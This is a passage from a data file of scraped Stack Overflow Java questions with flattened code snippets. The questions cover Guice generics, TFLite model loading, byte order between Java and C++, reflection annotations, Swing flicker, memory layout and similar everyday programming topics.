AbstractToCreate < Type1 > create1 = factory1.create ( 1 ) ; //create1 is ToCreate1 instance AbstractToCreate < Type2 > create2 = factory2.create ( 2 ) ; //create2 is ToCreate2 instance @ Override protected void configure ( ) { this. < Type1 > inst ( ToCreate1.class ) ; this. < Type2 > inst ( ToCreate2.class ) ; } private < V extends Type > void inst ( Class < ? extends AbstractToCreate < V > > clazz ) { install ( new FactoryModuleBuilder ( ) .implement ( new TypeLiteral < AbstractToCreate < V > > ( ) { } , clazz ) .build ( new TypeLiteral < Factory < V > > ( ) { } ) ) ; } 1 ) ru.test.genericassistedinject.AbstractToCreate < V > can not be used as a key ; It is not fully specified .",guice assisted inject + multibinding + generics +Java,"Okay so in my app i am trying to implement face recognition using face net model which is converted to tflite averaging at about 93 MB approximately , however this model eventually increases size of my apk.so i am trying to find alternate ways to deal with thisFirstly i can think of is to compress it in some way and then uncompress when app is installedAnother way is that i should upload that model to server and after being downloaded get it loaded in my application.However i do not seem know how to implement this : By default face net allows implementation from assets folderBut in case i 'm downloading that model how can i get it loaded in my application ? Here is my face net intilization code : My FaceNet Class :","var facenet = FaceNet ( getAssets ( ) ) ; public FaceNet ( AssetManager assetManager ) throws IOException { tfliteModel = loadModelFile ( assetManager ) ; tflite = new Interpreter ( tfliteModel , tfliteOptions ) ; imgData = ByteBuffer.allocateDirect ( BATCH_SIZE * IMAGE_HEIGHT * IMAGE_WIDTH * NUM_CHANNELS * NUM_BYTES_PER_CHANNEL ) ; imgData.order ( ByteOrder.nativeOrder ( ) ) ; } private MappedByteBuffer loadModelFile ( AssetManager assetManager ) throws IOException { AssetFileDescriptor fileDescriptor = assetManager.openFd ( MODEL_PATH ) ; FileInputStream inputStream = new FileInputStream ( fileDescriptor.getFileDescriptor ( ) ) ; FileChannel fileChannel = inputStream.getChannel ( ) ; long startOffset = fileDescriptor.getStartOffset ( ) ; long declaredLength = fileDescriptor.getDeclaredLength ( ) ; return fileChannel.map ( FileChannel.MapMode.READ_ONLY , startOffset , declaredLength ) ; } public class FaceNet { private static final String MODEL_PATH = `` facenet.tflite '' ; private static final float IMAGE_MEAN = 127.5f ; private static final float IMAGE_STD = 127.5f ; private static final int BATCH_SIZE = 1 ; private static final int IMAGE_HEIGHT = 160 ; private static final int IMAGE_WIDTH = 160 ; private static final int NUM_CHANNELS = 3 ; private static final int NUM_BYTES_PER_CHANNEL = 4 ; private static final int EMBEDDING_SIZE = 512 ; private final int [ ] intValues = new int [ IMAGE_HEIGHT * IMAGE_WIDTH ] ; private ByteBuffer imgData ; private MappedByteBuffer tfliteModel ; private Interpreter tflite ; private final Interpreter.Options tfliteOptions = new Interpreter.Options ( ) ; public FaceNet ( AssetManager assetManager ) throws IOException { tfliteModel = loadModelFile ( assetManager ) ; tflite = new Interpreter ( tfliteModel , tfliteOptions ) ; imgData = ByteBuffer.allocateDirect ( BATCH_SIZE * IMAGE_HEIGHT * IMAGE_WIDTH * NUM_CHANNELS * NUM_BYTES_PER_CHANNEL ) ; imgData.order ( ByteOrder.nativeOrder ( ) ) ; } private MappedByteBuffer loadModelFile ( AssetManager assetManager ) throws IOException { AssetFileDescriptor fileDescriptor = assetManager.openFd ( MODEL_PATH ) ; FileInputStream inputStream = new FileInputStream ( fileDescriptor.getFileDescriptor ( ) ) ; FileChannel fileChannel = inputStream.getChannel ( ) ; long startOffset = fileDescriptor.getStartOffset ( ) ; long declaredLength = fileDescriptor.getDeclaredLength ( ) ; return fileChannel.map ( FileChannel.MapMode.READ_ONLY , startOffset , declaredLength ) ; } private void convertBitmapToByteBuffer ( Bitmap bitmap ) { if ( imgData == null ) { return ; } imgData.rewind ( ) ; bitmap.getPixels ( intValues , 0 , bitmap.getWidth ( ) , 0 , 0 , bitmap.getWidth ( ) , bitmap.getHeight ( ) ) ; // Convert the image to floating point . int pixel = 0 ; for ( int i = 0 ; i < IMAGE_HEIGHT ; ++i ) { for ( int j = 0 ; j < IMAGE_WIDTH ; ++j ) { final int val = intValues [ pixel++ ] ; addPixelValue ( val ) ; } } } private void addPixelValue ( int pixelValue ) { //imgData.putFloat ( ( ( ( pixelValue > > 16 ) & 0xFF ) - IMAGE_MEAN ) / IMAGE_STD ) ; //imgData.putFloat ( ( ( ( pixelValue > > 8 ) & 0xFF ) - IMAGE_MEAN ) / IMAGE_STD ) ; //imgData.putFloat ( ( ( pixelValue & 0xFF ) - IMAGE_MEAN ) / IMAGE_STD ) ; imgData.putFloat ( ( ( pixelValue > > 16 ) & 0xFF ) / 255.0f ) ; imgData.putFloat ( ( ( pixelValue > > 8 ) & 0xFF ) / 255.0f ) ; imgData.putFloat ( ( pixelValue & 0xFF ) / 255.0f ) ; } public void inspectModel ( ) { String tag = `` Model Inspection '' ; Log.i ( tag , `` Number of input tensors : `` + String.valueOf ( tflite.getInputTensorCount ( ) ) ) ; Log.i ( tag , `` Number of output tensors : `` + String.valueOf ( tflite.getOutputTensorCount ( ) ) ) ; Log.i ( tag , tflite.getInputTensor ( 0 ) .toString ( ) ) ; Log.i ( tag , `` Input tensor data type : `` + tflite.getInputTensor ( 0 ) .dataType ( ) ) ; Log.i ( tag , `` Input tensor shape : `` + Arrays.toString ( tflite.getInputTensor ( 0 ) .shape ( ) ) ) ; Log.i ( tag , `` Output tensor 0 shape : `` + Arrays.toString ( tflite.getOutputTensor ( 0 ) .shape ( ) ) ) ; } private Bitmap resizedBitmap ( Bitmap bitmap , int height , int width ) { return Bitmap.createScaledBitmap ( bitmap , width , height , true ) ; } private Bitmap croppedBitmap ( Bitmap bitmap , int upperCornerX , int upperCornerY , int height , int width ) { return Bitmap.createBitmap ( bitmap , upperCornerX , upperCornerY , width , height ) ; } private float [ ] [ ] run ( Bitmap bitmap ) { bitmap = resizedBitmap ( bitmap , IMAGE_HEIGHT , IMAGE_WIDTH ) ; convertBitmapToByteBuffer ( bitmap ) ; float [ ] [ ] embeddings = new float [ 1 ] [ 512 ] ; tflite.run ( imgData , embeddings ) ; return embeddings ; } public double getSimilarityScore ( Bitmap face1 , Bitmap face2 ) { float [ ] [ ] face1_embedding = run ( face1 ) ; float [ ] [ ] face2_embedding = run ( face2 ) ; double distance = 0.0 ; for ( int i = 0 ; i < EMBEDDING_SIZE ; i++ ) { distance += ( face1_embedding [ 0 ] [ i ] - face2_embedding [ 0 ] [ i ] ) * ( face1_embedding [ 0 ] [ i ] - face2_embedding [ 0 ] [ i ] ) ; } distance = Math.sqrt ( distance ) ; return distance ; } public void close ( ) { if ( tflite ! = null ) { tflite.close ( ) ; tflite = null ; } tfliteModel = null ; } }",How to Reduce size of Tflite model or Download and set it programmatically ? +Java,"I want to create a file that contains exactly 8 bytes representing an unsigned long number . The file is created with Java and then read by C++ . This is how Java creates the file : And this is how C++ reads it : The expected output is 12345 , but instead I get 4120793659044003840.I am not sure if I did it wrong in Java or C++ . Or both . What should I have done ?","import java.io.ByteArrayOutputStream ; import java.io.FileOutputStream ; import java.nio.ByteBuffer ; public class Writer { public static void main ( String [ ] args ) throws Exception { ByteBuffer buffer = ByteBuffer.allocate ( Long.BYTES ) ; buffer.putLong ( 12345 ) ; ByteArrayOutputStream stream = new ByteArrayOutputStream ( ) ; stream.write ( buffer.array ( ) ) ; try ( FileOutputStream outputStream = new FileOutputStream ( `` myFile '' ) ) { outputStream.write ( stream.toByteArray ( ) ) ; } } } # include < iostream > # include < vector > # include < fstream > # include < stdio.h > using namespace std ; // I use this to get each byte from a filestatic std : :vector < char > ReadAllBytes ( char const* filename ) { std : :ifstream ifs ( filename , ios : :binary|ios : :ate ) ; std : :ifstream : :pos_type pos = ifs.tellg ( ) ; std : :vector < char > result ( pos ) ; ifs.seekg ( 0 , ios : :beg ) ; ifs.read ( & result [ 0 ] , pos ) ; return result ; } int main ( int argc , char* argv [ ] ) { std : :vector < char > bytes = ReadAllBytes ( `` myFile '' ) ; std : :vector < char > : :iterator it = bytes.begin ( ) ; char longBytes [ 8 ] ; std : :copy ( & ( *it ) , & ( *it ) + 8 , longBytes ) ; unsigned long value = * ( ( unsigned long* ) longBytes ) ; std : :cout < < `` Size : `` < < value ; }",Writing a Long from Java in a file and reading it in C++ +Java,"Java 8 has given us new methods with really long signatures like this : What I find odd about this is that wildcards have been used to ensure that the first two parameters are as general as possible , yet the third parameter is just a BinaryOperator < U > . If they 'd been consistent , surely it would be a BiFunction < ? super U , ? super U , ? extends U > ? . Am I missing something ? Is there a good reason for this , or did they just want to avoid making an already horrendous signature even worse ? EditI understand PECS , and I understand the principle that mergeFunction should be thought of as a way of taking two Us and getting back a U . However it would be useful to be able to have an object that could be reused in many different ways . For example : Obviously this is not a BinaryOperator < Double > , but it could be treated as one . It would be great if you could use MULTIPLY_DOUBLES as both a BiFunction < Number , Number , Double > and a BinaryOperator < Double > , depending on the context . In particular , you could simply pass MULTIPLY_DOUBLES to indicate that you want a load of doubles to be reduced using multiplication . However the signature for toMap ( and other new methods in Java 8 ) does not allow for this kind of flexibility .","static < T , K , U , M extends Map < K , U > > Collector < T , ? , M > toMap ( Function < ? super T , ? extends K > keyMapper , Function < ? super T , ? extends U > valueMapper , BinaryOperator < U > mergeFunction , Supplier < M > mapSupplier ) static final BiFunction < Number , Number , Double > MULTIPLY_DOUBLES = ( a , b ) - > a.doubleValue ( ) * b.doubleValue ( ) ;",Inconsistency in Java 8 method signatures +Java,"How can I check whether a string represents a long , a double , or just a regular string ? I need to do this because this value needs to be indexed in a database according to its type . Currently I 'm doing this by trying to parse the string and checking for exceptions but since the code is called very frequently , I 'm wondering if there 's a more efficient way to do it . My code currently looks like this : EDIT : I just did a quick benchmarking exercise as per @ user949300 's suggestion to use regex patterns and it performed slightly better than the exception handling code above . Here 's the code in case someone else finds it useful : Here are the benchmarking results for checking 50,000 entries where the approximate breakdown of types is 50 % longs , 10 % doubles , 40 % strings ( representative of the workload that my application processes ) :","String value = ... ; // For example , could be `` 213678 '' , `` 654.1236781 '' , or `` qwerty12345 '' try { Long longValue = Long.parseLong ( value ) ; // Index 'longValue ' in the database } catch ( NumberFormatException parseLongException ) { try { Double doubleValue = Double.parseDouble ( value ) ; // Index 'doubleValue ' in the database } catch ( NumberFormatException parseDoubleException ) { // Index 'value ' in the database } } Pattern longPattern = Pattern.compile ( `` ^ [ -+ ] ? [ 0-9 ] + $ '' ) ; Pattern doublePattern = Pattern.compile ( `` ^ [ -+ ] ? [ 0-9 ] *\\. ? [ 0-9 ] + ( [ eE ] [ -+ ] ? [ 0-9 ] + ) ? $ '' ) ; // Check for long regex pattern before the double regex pattern// since the former is a strict subset of the latterif ( longPattern.matcher ( value ) .matches ( ) ) { // Perform indexing for long in the database } else if ( doublePattern.matcher ( value ) .matches ( ) ) { // Perform indexing for double in the database } else { // Perform indexing for string in the database } -- - Exception handling code -- -STRING - actual : 19861 , found : 19861DOUBLE - actual : 4942 , found : 4942LONG - actual : 25197 , found : 25197Time taken : 2561 ms -- - Regex pattern matching code -- -STRING - actual : 19861 , found : 19861DOUBLE - actual : 4942 , found : 4942LONG - actual : 25197 , found : 25197Time taken : 1565 ms",How to check if and what type of number a string represents ? +Java,"I ’ m using a JComponent with HTML inside it ( specifically a JLabel ) to display and change some text that might need to wrap . Unfortunately , there is noticeable flicker when I change the HTML , because it ’ s doing two layout + paint cycles instead of just one . Is there any way to avoid painting the JLabel with the wrong layout ? I ’ ve tried calling jframe.revalidate ( ) ; after setText , but it didn ’ t help.Example code that demonstrates the flicker by changing the HTML every second . I ’ ve added an artificial Thread.sleep during paintComponent to simulate a large layout tree or expensive paint so that the flicker is visible in this small window . In the screenshot , the left is the correctly laid out label , while the right is an incorrect screenshot captured mid-flicker .","import java.awt.Container ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.event.WindowAdapter ; import java.awt.event.WindowEvent ; import javax.swing.JFrame ; import javax.swing.JLabel ; import javax.swing.SwingUtilities ; import javax.swing.Timer ; import javax.swing.WindowConstants ; public class HtmlJLabelFlicker { static final String text = `` < html > This label is being set to a new value `` + `` that needs to wrap . Unfortunately , this causes `` + `` two layout + paint cycles instead of just one , `` + `` which can cause flicker if the text doesn\u2019t `` + `` change very much between refreshes . `` ; public static void createUI ( ) { final JLabel label = new JLabel ( text ) ; final Timer timer = new Timer ( 1000 , new ActionListener ( ) { int n ; @ Override public void actionPerformed ( ActionEvent e ) { label.setText ( text + n++ ) ; } } ) ; timer.start ( ) ; JFrame jframe = new JFrame ( ) ; jframe.setDefaultCloseOperation ( WindowConstants.DISPOSE_ON_CLOSE ) ; jframe.addWindowListener ( new WindowAdapter ( ) { @ Override public void windowClosed ( WindowEvent e ) { timer.stop ( ) ; } } ) ; jframe.setSize ( 300 , 300 ) ; Container content = jframe.getContentPane ( ) ; content.add ( label ) ; jframe.setVisible ( true ) ; } public static void main ( String [ ] args ) throws Exception { SwingUtilities.invokeAndWait ( new Runnable ( ) { @ Override public void run ( ) { createUI ( ) ; } } ) ; } }",How to update a JComponent with HTML without flickering ? +Java,I have a TreeSet of Strings ( hardcoded ) .Want to check that a given parameter String eg . `` Person '' if present in the TreeSet then return true otherwise return false.Here I am confused by the Eclipse message regarding ( Predicate < ? super String > s ) vs ( String s ) : The method anyMatch ( Predicate ) in the type Stream is not applicable for the arguments ( String ) Please guide .,import java.util.Set ; import java.util.TreeSet ; import java.util.function.Predicate ; public class SystemLabelValidator { public static boolean ValidateSystemLabel ( String s ) { String j = s ; boolean b = false ; Set < String > SystemLabels = new TreeSet < String > ( ) ; // Unique Strings SystemLabels.add ( `` Person '' ) ; SystemLabels.add ( `` Player '' ) ; SystemLabels.add ( `` Hospital '' ) ; SystemLabels.add ( `` Nurse '' ) ; SystemLabels.add ( `` Room '' ) ; System.out.println ( `` \n== > Loop here . `` ) ; for ( String temp : SystemLabels ) { System.out.println ( temp ) ; if ( SystemLabels.stream ( ) .anyMatch ( j ) ) { System.out.println ( `` I need to return Boolean '' ) ; } return b ; } return b ; } },( Predicate < ? super String > s ) or ( String s ) +Java,"Java experts emphasize the importance of avoiding premature optimization , and focusing instead on clean OO design . I am trying to reconcile this principle in the context of rewriting a program that uses a large array of long elements ( a few million ) . It seems that using an ArrayList would consume about 3x the memory of a primitive array of longs , and wasting that much RAM seems like a legitimate concern to me.I am basing this off an experiment I did using MemoryTestBench class described here . My test and output are as follows : and output : My question is : How can I reap the benefits of an OO List and still retain the small memory footprint of a primitive array ? I think guava might provide the answer , but glancing through the API it 's not obvious to me which class to use in place of ArrayList.Thanks for any suggestions .",package memory ; import java.util.ArrayList ; import java.util.List ; public class ArrayListExperiment { public static void main ( String [ ] args ) { ObjectFactory arrayList = new ObjectFactory ( ) { public Object makeObject ( ) { List < Long > temp = new ArrayList < Long > ( 1000 ) ; for ( long i=0 ; i < 1000 ; i++ ) temp.add ( i ) ; return temp ; } } ; ObjectFactory primitiveArray = new ObjectFactory ( ) { public Object makeObject ( ) { long [ ] temp = new long [ 1000 ] ; for ( int i=0 ; i < 1000 ; i++ ) temp [ i ] = i ; return temp ; } } ; MemoryTestBench memoryTester = new MemoryTestBench ( ) ; memoryTester.showMemoryUsage ( primitiveArray ) ; memoryTester.showMemoryUsage ( arrayList ) ; } } memory.ArrayListExperiment $ 2 produced [ J which took 8016 bytesmemory.ArrayListExperiment $ 1 produced java.util.ArrayList which took 24968 bytes,List < Double > that uses RAM of double [ ] ? +Java,"I have questions about a couple techniques I 'm using in designing a class . I 've declared some of its members as public final instead of private , and the constructor calls overridable methods . I know that these are normally considered bad practice , but I think that they may be justified in my situation , and I want to know what others think.This is my class : I declared the member variables as public final because I plan on using them frequently and creating methods to control access to them would be tedious . For example , I plan on writing lines like this throughout the program : creature.stats.health.getCurrent ( ) ; creature.stats.health.resetMax ( ) ; Avoiding giving public access to stats and health would require writing methods like getCurrentHealth ( ) and resetMaxHealth ( ) throughout the Creature class . The CurMax class has 10 methods besides constructors , and the stats class has 12 members of types that are similar to CurMax , so that would require writing over 100 additional functions in the Creature class . In light of this , is the way I used public final members appropriate ? If it is n't , what would be another technique that would be more satisfactory ? If the use of public final members is fine , what about my use of overridable methods in the constructor ? I want to allow each subclass of Creature to determine its own algorithm for creating the stats and array of attacks . For example , one creature might pick some random attacks out of a list , while another chooses attacks that are effective against another specific creature . Since stats and attacks are final variables , though , they must be defined in Creature 's constructor . My workaround is to have the constructor call overridable methods to allow subclasses to determine the values of stats and attacks while leaving the actual assignment in the constructor.I understand that the main risk associated with using overridable methods in constructors is that the overriden methods will be called before the subclass has an opportunity to define its own data members . I think that this is avoided in my situation because the generateStats ( ) and generateAttacks ( ) methods are there only to be used in the constructor . Also , I added another abstract method , initMembers , that is called in the Creature constructor before anything else . Subclasses can define any member variables in this function before generateStats ( ) and generateAttacks ( ) are called.The constructors for Stats and Attack are large , so I ca n't simply pass a Stats object and an array of Attacks to the constructor . The call to super ( ) in the subclasses ' constructors would be unacceptably long.Is the way I 'm using overridable methods in the Creature constructor justified ? If it is n't , what else should I do ?","/** A monster that fights other monsters in my program */public abstract class Creature { /** * Keeps track of the different values determining how powerful a Creature * is . */ public static class Stats { //subclass definition here . //This subclass contains a lot of public static members like this : public final CurMax health ; } public final static Random RANDOM = new Random ( ) ; //These are the public final members that I 'm wondering about . public final Stats stats ; public final Attack [ ] attacks ; public final Stopwatch turnStopwatch ; private String name ; //This is the constructor I 'm wondering about . public Creature ( ) { initMembers ( ) ; stats = generateStats ( ) ; name = RandomValues.NAMES [ RANDOM.nextInt ( RandomValues.NAMES.length ) ] ; attacks = generateAttacks ( ) ; turnStopwatch = new Stopwatch ( false ) ; } /** * Define any member variables for subclasses in Creature in this method , * not in the subclasses ' constructors . * * Using the Creature class requires the Constructor to call overridable * methods . This is deliberate because the constructor assigns values to * final member variables , but I want the values of these variables to be * determined by subclasses . This method allows subclasses to assign values * to their own member variables while still controlling the values of the * final variables in the Creature class . * * @ see # generateAttacks ( ) * @ see # generateStats ( ) */ protected abstract void initMembers ( ) ; protected abstract Stats generateStats ( ) ; protected abstract Attack [ ] generateAttacks ( ) ; public boolean isDead ( ) { return stats.health.getCurrent ( ) < = 0 ; } public String getName ( ) { return name ; } }",Using Public Final Member Variables and Overridable Methods in a Constructor +Java,"I have this simple varargs method which divides each item in the list : I 'd expect it to pass a copy of the array , but apparently it 's somehow modifying the array I pass in , instead of its own local copy : So I wrote this simple test program : And it does what I expect , it clones the object array before passing it into f ( hence different object identifiers ) : So how then is f in A modifying the caller 's array instead of its own copy ?","import java.util . * ; class A { static long f ( long ... xs ) { Arrays.sort ( xs ) ; long y = 100000000 ; for ( int i = xs.length - 1 ; i > = 0 ; i -- ) y /= xs [ i ] ; return y ; } static { System.out.println ( f ( 5,2,6,3,9,3,13,4,5 ) ) ; long [ ] xs = new long [ ] { 5,2,6,3,9,3,13,4,5 } ; System.out.println ( Arrays.toString ( xs ) ) ; System.out.println ( f ( xs ) ) ; System.out.println ( Arrays.toString ( xs ) ) ; } } $ javac A.java & & java A79 [ 5 , 2 , 6 , 3 , 9 , 3 , 13 , 4 , 5 ] 79 [ 2 , 3 , 3 , 4 , 5 , 5 , 6 , 9 , 13 ] class B { static void f ( Object ... os ) { System.out.println ( os ) ; } static { Object os = new Object [ ] { 1,2,3 } ; System.out.println ( os ) ; f ( os ) ; } } $ javac B.java & & java B [ Ljava.lang.Object ; @ 1242719c [ Ljava.lang.Object ; @ 4830c221",Varargs method modifies caller 's array instead of its own copy ? +Java,When a nested class in instantiated how does it reference the outer class ? Does it always extend the outer class or reference it another way ? I was told that the inner extends the outer but then why does n't the following example work ? For Example : The above does not compile with an error for super.fruit saying that 'fruit ' can not be resolved . However if the inner class is specified to extend the outer class then it works : This seems to show that the inner class does not extend the outer class unless specifically specified .,public class OuterClass { public String fruit = `` apple '' ; public class InnerClass { public String fruit = `` banana '' ; public void printFruitName ( ) { System.out.println ( this.fruit ) ; System.out.println ( super.fruit ) ; } } } public class OuterClass { public String fruit = `` apple '' ; public class InnerClass extends OuterClass { public String fruit = `` banana '' ; public void printFruitName ( ) { System.out.println ( this.fruit ) ; System.out.println ( super.fruit ) ; } } },In Java what is the relationship between a nested class and its outer class ? +Java,"It appears that TYPE_USE annotations can not be accessed through reflection when the annotated type is a nested , generic interface.Please observe the following example : The expected output of the above code is However , the actual output of the above code is The annotation is correctly retrieved from every usage of the Map interface . However , on every usage of the Entry interface , be it field , return type or parameter , the annotation is lost . The only explanation that I have for this is that the Entry interface is nested inside the Map interface.I ran the above example on the newest oracle JDK ( 8u121 ) on win64 . Am I doing something wrong or could this be a bug ? My Annotation is nested for readability . Making it a top-level interface does n't change anything .","import java.lang.annotation.ElementType ; import java.lang.annotation.Retention ; import java.lang.annotation.RetentionPolicy ; import java.lang.annotation.Target ; import java.lang.reflect.AnnotatedType ; import java.lang.reflect.Method ; import java.util.Arrays ; import java.util.Map ; import java.util.Map.Entry ; public class LostAnnotation { @ Retention ( RetentionPolicy.RUNTIME ) @ Target ( ElementType.TYPE_USE ) public @ interface SomeTypeAnnotation { } @ SomeTypeAnnotation Map < String , String > map ; @ SomeTypeAnnotation Entry < String , String > entry ; public static @ SomeTypeAnnotation Entry < String , String > someMethod ( @ SomeTypeAnnotation Map < String , String > map , @ SomeTypeAnnotation Entry < String , String > entry ) { return null ; } public static void main ( String [ ] args ) throws Exception { Class < LostAnnotation > clazz = LostAnnotation.class ; Method method = clazz.getMethod ( `` someMethod '' , Map.class , Entry.class ) ; AnnotatedType [ ] types = method.getAnnotatedParameterTypes ( ) ; print ( `` map field '' , clazz.getDeclaredField ( `` map '' ) .getAnnotatedType ( ) ) ; print ( `` map parameter '' , types [ 0 ] ) ; print ( `` entry field '' , clazz.getDeclaredField ( `` entry '' ) .getAnnotatedType ( ) ) ; print ( `` entry parameter '' , types [ 1 ] ) ; print ( `` entry return type '' , method.getAnnotatedReturnType ( ) ) ; } static void print ( String title , AnnotatedType type ) { System.out.printf ( `` % s : % s % n '' , title , Arrays.asList ( type.getAnnotations ( ) ) ) ; } } map field : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] map parameter : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] entry field : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] entry parameter : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] entry return type : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] map field : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] map parameter : [ @ LostAnnotation $ SomeTypeAnnotation ( ) ] entry field : [ ] entry parameter : [ ] entry return type : [ ]","TYPE_USE annotations get lost when type is nested , generic interface" +Java,"I 'm playing around with Java Syntax , so this is question arises purely from curiosity . This piece of code : does not compile , because a label ( http ) `` must be followed by a statement '' . The following two variants do compile : and In both cases , I switched from a declaration to an expression.This makes me wonder what exactly is a `` statement '' in Java , but the docstates : In addition to expression statements , there are two other kinds of statements : declaration statements and control flow statements . A declaration statement declares a variable.The JLS just says ( on labels ) that The Identifier is declared to be the label of the immediately contained Statement . It does not say anything about `` expression statements '' .Did I miss something , or is this just an unclear/incorrect specification ?",http : //www.google.comObject val = 5 < - 4 ; http : //www.google.com { Object val = 5 < - 4 ; } Object val ; http : //www.google.comval = 5 < - 4 ;,Java : Allowed statements after labels +Java,"I 'm creating a very large XML file ( 700mb + ) that process large amounts of data via batch . The program serves as an interface between a extremely large sybase database and an application . I currently have the xsd schema bound to classes . I need a way of being able to write the XML with restart logic in mind . I.E . being able to know where I left off . Or in other words , if the program fails , I need to be able to see what the was last wrote to the XML file so it can pick up where I left off . Here 's an exmaple.Say the program fails after writing a write 'work ' or 'workset ' node . Is there a way to pick up where I left off processing ? I 'm trying to avoid reading the XML file back into memory due to the shear size of the XML file ( Say it finishes 500mb of XML and fails ) .Thanks for the help .",< root > < WorkSet > < Work > < Customer > < Work > < Customer > < WorkSet > < Work > ... .. < root >,Java JAXB - Writing XML files with restart logic +Java,"Here are the two samples I would like to base my question on ( assuming you have JOL here ) : And an example using this : And here are the two outputs : I mainly understand the output , the thing I do n't is what are these : In general , Objects are 8 bytes aligned , so why the need to add more padding than needed ? I know about a few things that are somehow weird , the first one has to do with the API that JOL is using and the second has to do with internal data , that needs to be hidden.I also know about this , but it seems un-related , as it means internal padding.Can someone shed some light on this ?","Layouter layout32Bits = new HotSpotLayouter ( new X86_32_DataModel ( ) ) ; Layouter layout64BitsComp = new HotSpotLayouter ( new X86_64_COOPS_DataModel ( ) ) ; int [ ] ints = new int [ 10 ] ; System.out.println ( ClassLayout.parseInstance ( ints , layout32Bits ) .toPrintable ( ) ) ; System.out.println ( ClassLayout.parseInstance ( ints , layout64BitsComp ) .toPrintable ( ) ) ; [ I object internals : OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 ( object header ) 09 00 00 00 ( 00001001 00000000 00000000 00000000 ) ( 9 ) 4 4 ( object header ) 00 00 00 00 ( 00000000 00000000 00000000 00000000 ) ( 0 ) 8 4 ( object header ) 10 1b 0c 1a ( 00010000 00011011 00001100 00011010 ) ( 437000976 ) 12 40 int [ I. < elements > N/A 52 12 ( loss due to the next object alignment ) Instance size : 64 bytes Space losses : 0 bytes internal + 12 bytes external = 12 bytes total [ I object internals : OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 ( object header ) 09 00 00 00 ( 00001001 00000000 00000000 00000000 ) ( 9 ) 4 4 ( object header ) 00 00 00 00 ( 00000000 00000000 00000000 00000000 ) ( 0 ) 8 4 ( object header ) 10 1b 0c 1a ( 00010000 00011011 00001100 00011010 ) ( 437000976 ) 12 4 ( object header ) 01 00 00 00 ( 00000001 00000000 00000000 00000000 ) ( 1 ) 16 40 int [ I. < elements > N/A 56 8 ( loss due to the next object alignment ) Instance size : 64 bytes Space losses : 0 bytes internal + 8 bytes external = 8 bytes total 12 bytes external and 8 bytes external",Java primitive array layout in memory +Java,"I 'm building a poker game . In my application I have a class ChipSet . A ChipSet is basically an array of 5 ints ( one for each color poker chip ) . Now what if I have for example a ChipSet with an array [ 0,0,2,1,0 ] ( 5+5+10 = 20 ) and I want to use my ChipSet to pay something that costs 16 units . I would have to exchange chips to make this possible.What I need is an algorithm that exchanges as efficient as possible ( exchange as few chips as possible ) to make such a payment possible . A payment would just subtract the amount of chips from the array so the leftovers will still be in the ChipSet after the payment . How would I do this ? What I need is this kind of method : Would greatly appreciate it if you could help me figure this out.For example : Before the algorithm I have a ChipSet with an array [ 0,0,2,1,0 ] which has a sum of 20 . I want to pay something that costs 16 units . After using the algorithm , I would have the most efficient exchange as possible , in this case the algorithm would change the array to [ 1,2,1,1,0 ] which also has a sum of 20 , but now I can make a payment of 16 . After the payment the ChipSet would have the array [ 0,2,0,0,0 ] .I hope my problem is clear and if it 's not , leave a comment and I will explain further .","public class ChipSet { public static final int WHITE_VALUE = 1 ; public static final int RED_VALUE = 2 ; public static final int GREEN_VALUE = 5 ; public static final int BLUE_VALUE = 10 ; public static final int BLACK_VALUE = 20 ; public static final int [ ] VALUES = new int [ ] { WHITE_VALUE , RED_VALUE , GREEN_VALUE , BLUE_VALUE , BLACK_VALUE } ; protected int [ ] chips ; public ChipSet ( int [ ] chips ) { if ( chips == null || chips.length ! = 5 ) throw new IllegalArgumentException ( `` ChipSets should contain exactly 5 integers ! `` ) ; // store a copy of passed array this.chips = new int [ 5 ] ; for ( int i = 0 ; i < this.chips.length ; i++ ) { this.chips [ i ] = chips [ i ] ; } } public int getSum ( ) { return chips [ 0 ] * WHITE_VALUE + chips [ 1 ] * RED_VALUE + chips [ 2 ] * GREEN_VALUE + chips [ 3 ] * BLUE_VALUE + chips [ 4 ] * BLACK_VALUE ; } } public boolean exchangeToMakeAvailable ( int goal ) { // algorithm to exchange chips as efficient as possible // store the new values in the array , making sure the sum is still the same // return whether it has succeeded ( false when the sum is less than the requested amount ) }",Coin exchange algorithm +Java,"I 'm trying to use Google cloud translate . I think the problem is that Google cloud translate use UTF8 and the jvm use UTF16 . So i got some typo in translations . For instance : will return : `` Translation : Hello , who should I answer ? No , it & # 39 ; s the opposite ... '' instead of : Translation : Hello , who should I answer ? No , it 's the opposite ... We ca n't change the encoding of a java String , and the Google Cloud Api will not accept anything ( Byte [ ] ? ) but String . Do someone know how to fix it ? Thank you for readingEdit : This code is now working , I added the StringEscapeUtils.unescapeHtml from commons.apache dependencies . I do not know if there is an other way to do it .","public static void main ( String ... args ) throws Exception { // Instantiates a client Translate translate = TranslateOptions.getDefaultInstance ( ) .getService ( ) ; // The text to translate String text = `` Bonjour , à qui dois-je répondre ? Non , C'est l'inverse ... '' ; // Translates some text into Russian Translation translation = translate.translate ( text , TranslateOption.sourceLanguage ( `` fr '' ) , TranslateOption.targetLanguage ( `` en '' ) ) ; System.out.printf ( `` Text : % s % n '' , text ) ; System.out.printf ( `` Translation : % s % n '' , StringEscapeUtils.unescapeHtml ( translation.getTranslatedText ( ) ) ) ; }",Wrong encoding of google cloud translate and Java +Java,"In java a class can implement Iterable which lets you use the foreach ( ) statement and the iteration syntatic sugar : However , this does not allow you to throw exceptions on the construction for an Iterator . If you were iterating off a network , file , database etc it would be nice to be able to throw exceptions . Obvious candidates are java.io.InputStream , Reader and the java.nio.Channel code , but none of this can use Generics like the Iterable interface can.Is there a common idiom or Java API for this situation ? Clarification : This is asking if there is a pattern or alternative interface for iterating for objects off a non-memory source . As responders have said , just throwing RuntimeExceptions to get around the problem is not recommended or what I was looking for.Edit 2 : Thanks to answers so far . The consensus seems to be `` you ca n't '' . So can I extend the question to `` What do you do in this situation , when this situation would be useful ? '' Just write your own interface ?",for ( T t : ts ) ...,In Java how would you write the equivalent of Iterable which could throw exceptions ? +Java,"I 'm learning how to code in Java after after coming from C. In C I always separated everything into individual functions to make the code easier to follow and edit . I was trying to do this in java but now since I realized that you ca n't use pointers , I am a bit confused as to what the best way to do this is.So for example I want to have 